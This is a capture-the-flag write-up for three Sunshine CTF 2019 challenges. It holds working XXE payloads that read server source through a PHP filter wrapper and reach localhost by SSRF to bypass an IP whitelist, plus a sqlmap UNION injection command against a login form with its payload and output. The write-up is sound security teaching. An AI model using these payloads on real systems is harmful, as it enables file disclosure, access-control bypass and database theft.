Sunshine CTF 2019 - Write-ups

Table of contents
  1. ๐Ÿ”—Information
    1. ๐Ÿ”—CTF
  2. ๐Ÿ”—150 - Wrestler Name Generator - Web
  3. ๐Ÿ”—50 - TimeWarp - Scripting
  4. ๐Ÿ”—100 - WrestlerBook - Web

๐Ÿ”—Information

๐Ÿ”—CTF

๐Ÿ”—150 - Wrestler Name Generator - Web

Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.

http://ng.sunshinectf.org

Author: dmaria

There is a form and a JavaScript script generating a XML document. It must be a XXE injection again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<form>
<div class="form-group">
<label style="color:white" for="exampleFormControlInput1">First Name</label>
<input type="email" class="form-control" id="firstName" placeholder="First">
</div>
<div class="form-group">
<label style="color:white" for="exampleFormControlInput1">Last Name</label>
<input type="email" class="form-control" id="lastName" placeholder="Last">
</div>
<div class="form-group">
<label style="color:white" for="exampleFormControlSelect1">Weapon of Choice</label>
<select class="form-control" id="weapon">
<option>Steel Chair</option>
<option>Flaming Table</option>
<option>Barb Wire Bat</option>
<option>Ladder</option>
<option>Thumbtacks</option>
</select>
</div>
</form>
<button id="button" class="btn btn-primary" type="submit">Get Wrestler Name</button>
<script>
document.getElementById("button").onclick = function() {
var firstName = document.getElementById("firstName").value;
var lastName = document.getElementById("lastName").value;
var input = btoa("<?xml version='1.0' encoding='UTF-8'?><input><firstName>" + firstName + "</firstName><lastName>" + lastName+ "</lastName></input>");
window.location.href = "/generate.php?input="+encodeURIComponent(input);
};
</script>

Let's try an external entity injection and a paylaod using a PHP wrapper.

1
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=generate.php'>]><input><firstName>&test;</firstName><lastName>rawsec</lastName></input>

Don't forget to URL-encode key characters of the input to avoid parsing errors:

1
2
3
4
5
6
7
8
9
GET /generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48IURPQ1RZUEUgcm9vdCBbPCFFTlRJVFkgdGVzdCBTWVNURU0gJ3BocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9Z2VuZXJhdGUucGhwJz5dPjxpbnB1dD48Zmlyc3ROYW1lPiZ0ZXN0OzwvZmlyc3ROYW1lPjxsYXN0TmFtZT5yYXdzZWM8L2xhc3ROYW1lPjwvaW5wdXQ%2b HTTP/1.1
Host: ng.sunshinectf.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ng.sunshinectf.org/
Connection: close
Upgrade-Insecure-Requests: 1

We have the dump of generate.php in base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 31 Mar 2019 18:17:14 GMT
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.33
Content-Length: 3662
Connection: Close

<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>PD9waHAKCiR3aGl0ZWxpc3QgPSBhcnJheSgKICAgICcxMjcuMC4wLjEnLAogICAgJzo6MScKKTsKLy8gaWYgdGhpcyBwYWdlIGlzIGFjY2Vzc2VkIGZyb20gdGhlIHdlYiBzZXJ2ZXIsIHRoZSBmbGFnIGlzIHJldHVybmVkCi8vIGZsYWcgaXMgaW4gZW52IHZhcmlhYmxlIHRvIGF2b2lkIHBlb3BsZSB1c2luZyBYWEUgdG8gcmVhZCB0aGUgZmxhZwovLyBSRU1PVEVfQUREUiBmaWVsZCBpcyBhYmxlIHRvIGJlIHNwb29mZWQgKHVubGVzcyB5b3UgYWxyZWFkeSBhcmUgb24gdGhlIHNlcnZlcikKaWYoaW5fYXJyYXkoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICR3aGl0ZWxpc3QpKXsKCWVjaG8gJF9FTlZbIkZMQUciXTsKCXJldHVybjsKfQovLyBtYWtlIHN1cmUgdGhlIGlucHV0IHBhcmFtZXRlciBleGlzdHMKaWYgKGVtcHR5KCRfR0VUWyJpbnB1dCJdKSkgewoJZWNobyAiUGxlYXNlIGluY2x1ZGUgdGhlICdpbnB1dCcgZ2V0IHBhcmFtZXRlciB3aXRoIHlvdXIgcmVxdWVzdCwgQnJvdGhlciI7CglyZXR1cm47Cn0KCi8vIGdldCBpbnB1dAokeG1sRGF0YSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbImlucHV0Il0pOwovLyBwYXJzZSB4bWwKJHhtbD1zaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbERhdGEsIG51bGwsIExJQlhNTF9OT0VOVCkgb3IgZGllKCJFcnJvciBwYXJzaW5nIFhNTDogIi4iXG4iLiR4bWxEYXRhKTsKJGZpcnN0TmFtZSA9ICR4bWwtPmZpcnN0TmFtZTsKJGxhc3ROYW1lID0gJHhtbC0+bGFzdE5hbWU7Ci8vIGdlbmVyYXRlIG5hbWUKJG5vdW5zID0gYXJyYXkoIktpbGxlciIsICJTYXZhZ2UiLCAiU3RhbGxpb24iLCAiQ29kZXIiLCAiSGFja2VyIiwgIlNsYXNoZXIiLCAiQ3J1c2hlciIsICJCYXJiYXJpYW4iLCAiRmVyb2Npb3VzIiwgIkZpZXJjZSIsICJWaWNpb3VzIiwgIkh1bnRlciIsICJCcnV0ZSIsICJUYWN0aWNpYW4iLCAiRXhwZXJ0Iik7CiRub3VuID0gJG5vdW5zW2FycmF5X3JhbmQoJG5vdW5zKV07CiRnZW5lcmF0ZWROYW1lID0gJGZpcnN0TmFtZS4nICJUaGUgJy4kbm91bi4nIiAnLiRsYXN0TmFtZTsKCi8vIHJldHVybiBodG1sIGZvciB0aGUgcmVzdWx0cyBwYWdlCmVjaG8gPDw8RU9UCjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogIDx0aXRsZT5XcmVzdGxlciBOYW1lIEdlbmVyYXRvcjwvdGl0bGU+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjMuMS9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgogIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjMuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcG9wcGVyLmpzLzEuMTQuNy91bWQvcG9wcGVyLm1pbi5qcyI+PC9zY3JpcHQ+CiAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMy4xL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgoKPGRpdiBjbGFzcz0ianVtYm90cm9uIHRleHQtY2VudGVyIj4KICA8aDE+WW91ciBXcmVzdGxlciBOYW1lIElzOjwvaDE+CiAgPGgyPiRnZW5lcmF0ZWROYW1lPC9oMj4gCjwhLS1oYWNrZXIgbmFtZSBmdW5jdGlvbmFsaXR5IGNvbWluZyBzb29uIS0tPgo8IS0taWYgeW91J3JlIHRyeWluZyB0byB0ZXN0IHRoZSBoYWNrZXIgbmFtZSBmdW5jdGlvbmFsaXR5LCBtYWtlIHN1cmUgeW91J3JlIGFjY2Vzc2luZyB0aGlzIHBhZ2UgZnJvbSB0aGUgd2ViIHNlcnZlci0tPgo8IS0tPGgyPllvdXIgSGFja2VyIE5hbWUgSXM6IFJFREFDVEVEPC9oMj4tLT4KICA8YSBocmVmPSIvIj5HbyBCYWNrPC9hPiAKPC9kaXY+CjwvYm9keT4KPC9odG1sPgpFT1Q7Cj8+Cg== "The Vicious" rawsec</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>

Let's decode it and see what it looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
echo "Please include the 'input' get parameter with your request, Brother";
return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>$generatedName</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
EOT;
?>

We must fool the server to think we access the page from localehost. The HTTP header X-Forwarded-For doesn't work here.

So we must do a SSRF from the XXE:

directly:

1
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'http://127.0.0.1/generate.php?input=bm9yYWo%3d'>]><input><firstName>&test;</firstName><lastName>rawsec</lastName></input>

or with base64 encoding for the output:

1
<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=http://127.0.0.1/generate.php?input=bm9yYWo%3d'>]><input><firstName>&test;</firstName><lastName>rawsec</lastName></input>

I got the flag: sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}.

๐Ÿ”—50 - TimeWarp - Scripting

Oh no! A t3mp0ral anoma1y has di5rup7ed the timeline! Y0u'll have to 4nswer the qu3stion5 before we ask them!

nc tw.sunshinectf.org 4101

Author: Mesaj2000

We must send a wrong value, parse the output to know and store the right value, then begin back at the start and send the right value we just learnt, then send a wrong value, and do it over and over until we get the 300 values.

I made a slow ruby script that needs more than 1 hour to solve the challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
require 'socket'
require 'date'

if __FILE__ == $0
hostname = 'tw.sunshinectf.org'
port = 4101

flag = false
numbers = [39, 61, 267, 475, 178, 760, 660, 257, 897, 994, 610, 639, 813, 495, 832, 647, 228, 74, 474, 215, 523, 905, 65, 741, 814, 742, 787, 58, 917, 548, 465, 309, 609, 733, 784, 140, 493, 444, 397, 391, 790, 359, 382, 956, 854, 566, 603, 435, 640, 429, 650, 163, 335, 716, 256, 149, 458, 396, 559, 375, 944, 24, 684, 905, 757, 820, 397, 251, 264, 794, 994, 407, 506, 728, 363, 360, 294, 318, 795, 286, 747, 446, 801, 434, 514, 410, 935, 972, 806, 494, 699, 102, 519, 736, 359, 276, 908, 757, 879, 525, 903, 225, 932, 409, 953, 647, 122, 599, 965, 917, 237, 712, 363, 39, 147, 877, 801, 82, 201, 607, 929, 253, 61, 448, 341, 772, 724, 249, 529, 604, 774, 785, 181, 58, 546, 135, 705, 668, 86, 670, 586, 324, 735, 301, 715, 234, 531, 516, 316, 732, 123, 245, 337, 536, 45, 678, 308, 770, 280, 190, 726, 406, 975, 907, 465, 521, 394, 170, 190, 481, 841, 128, 805, 576, 429, 520, 162, 960, 36, 478, 45, 511, 76, 382, 399, 473, 413, 707, 243, 693, 897, 321, 99, 224, 581, 916, 98, 975, 87, 288, 456, 280, 416, 613, 208, 197, 485, 370, 158, 873, 200, 203, 384, 628, 937, 135, 102, 350, 843, 697, 395, 92, 19, 847, 669, 600, 763, 767, 927, 202, 55, 736, 482, 823, 701, 690, 20, 187, 60, 530, 60, 613, 85, 797, 241, 23, 932, 343, 725, 127, 41, 121, 220, 412, 320, 241, 364, 83, 8, 291, 286, 63, 379, 120, 238, 81, 811, 610, 268, 223, 141, 680, 836, 226, 477, 430, 249, 762, 773, 975, 889, 166, 448, 461, 930, 768, 702, 646, 203, 710, 938, 841, 125, 669, 962, 715, 750, 773, 326, 370]
debug = false
normal = false
info = false

while flag == false
s = TCPSocket.open(hostname, port)
raw = ''
puts "\n--------------------\n" if info

i = 0
while chunck = s.read(1)
print chunck if normal
raw += chunck
if /sun{.+}/.match?(raw)
flag = true
puts raw
end
if /.+!\n/.match?(raw)
number = numbers[i] || 42
s.puts number
print "\n[DEBUG] puts #{number}\n" if debug
if /[0-9]{1,3}\n/.match?(raw)
n = /([0-9]{1,3})\n/.match(raw).captures[0].chomp
print "\n[DEBUG] number detected #{n}\n" if debug
if numbers[i-1].to_s != n
numbers.push(n)
print "\n[DEBUG] pushed #{n}\n" if debug
print "\n[DEBUG] numbers #{numbers}\n" if debug
end
end
raw = ''
i += 1
end # if /.+!\n/.match?(raw)
end # while chunck = s.read(1)
# socket closed to soon, getting back the solution else we will never learn
if /[0-9]{1,3}\n/.match?(raw)
n = /([0-9]{1,3})\n/.match(raw).captures[0].chomp
if numbers[i-1].to_s != n
numbers.push(n)
end # if numbers[i-1].to_s != n
end # if /[0-9]{1,3}\n/.match?(raw)
p numbers if info
p "Size: #{numbers.size}" if info
end # while flag == false
end # if __FILE__ == $0

PS: changing tcp socket behavior and reading buffer size can drastically improve the timing performance.

๐Ÿ”—100 - WrestlerBook - Web

WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn't get an invite don't even bother trying to view our profiles.

http://bk.sunshinectf.org

Author: dmaria

A classic SQLi, just know how to use SQLmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
sqlmap -u 'http://bk.sunshinectf.org/login.php' --method POST --data 'username=a&password=b' -p password --dbms SQLite --technique U -T users -D SQLite_masterdb -C flag --risk 3 --union-from users --dump --flush-session    
___
__H__
___ ___[.]_____ ___ ___ {1.3.3#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:13:16 /2019-04-01/

[02:13:16] [INFO] flushing session file
[02:13:16] [INFO] testing connection to the target URL
[02:13:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[02:13:17] [INFO] heuristic (basic) test shows that POST parameter 'password' might be injectable (possible DBMS: 'SQLite')
[02:13:17] [INFO] testing for SQL injection on POST parameter 'password'
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) value? [Y/n] y
[02:13:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:13:20] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[02:13:20] [INFO] target URL appears to have 8 columns in query
[02:13:22] [INFO] target URL appears to be UNION injectable with 8 columns
[02:13:22] [INFO] POST parameter 'password' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[02:13:22] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] nn
sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:
---
Parameter: password (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: username=a&password=b' UNION ALL SELECT NULL,NULL,NULL,NULL,'qzkzq'||'ehoZLlFVtsrLTCiTuSgVuZUiKTXvIofZoJUKOzqx'||'qkpzq',NULL,NULL,NULL FROM users-- fOHq
---
[02:13:24] [INFO] testing SQLite
[02:13:24] [INFO] confirming SQLite
[02:13:24] [INFO] actively fingerprinting SQLite
[02:13:24] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP 7.0.33, Apache 2.4.25
back-end DBMS: SQLite
[02:13:24] [INFO] fetching entries of column(s) 'flag' for table 'users' in database 'SQLite_masterdb'
[02:13:24] [INFO] used SQL query returns 248 entries
[02:13:24] [INFO] retrieved: 'N/A'
[02:13:24] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'example_flag'
[02:13:25] [INFO] retrieved: 'N/A'
[02:13:25] [INFO] retrieved: 'N/A'
...
[02:13:35] [INFO] retrieved: 'sun{ju57_4n07h3r_5ql1_ch4ll}'
...

PS : columns retrieving with SQLmap for SQLite DBMS is buggy.

Share